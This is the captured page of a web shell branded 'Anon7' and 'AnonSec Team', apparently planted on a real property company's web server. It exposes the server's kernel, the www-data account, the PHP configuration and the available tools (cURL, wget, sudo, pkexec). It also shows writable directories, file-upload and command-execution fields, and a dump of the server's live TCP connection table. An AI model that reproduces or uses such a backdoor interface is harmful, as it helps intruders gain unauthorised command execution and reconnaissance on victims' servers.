NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.152
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2792863/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2792863/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186859 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186863 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:A600 06 00000000:00000000 03:00000E9D 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:D22F 06 00000000:00000000 03:0000143B 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00009CE3074A:B554 06 00000000:00000000 03:00000F42 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:A34F 06 00000000:00000000 03:00000AEE 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:663A 01 00000000:00000000 02:000AFAF8 00000000    33        0 65001037 3 0000000000000000 22 4 1 14 -1
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:0D52 06 00000000:00000000 03:00000756 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000014E3074A:CAC0 01 00000000:00000000 02:000AD978 00000000    33        0 65000061 2 0000000000000000 23 4 31 10 -1
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:5C09 06 00000000:00000000 03:00000016 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:C3B8 06 00000000:00000000 03:000003BC 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00009CE3074A:DFC2 01 000009AB:00000000 01:00000004 00000000    33        0 65000301 4 0000000000000000 23 4 31 10 -1
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:293B 06 00000000:00000000 03:00001234 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000098D849D8:5391 06 00000000:00000000 03:000015E0 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team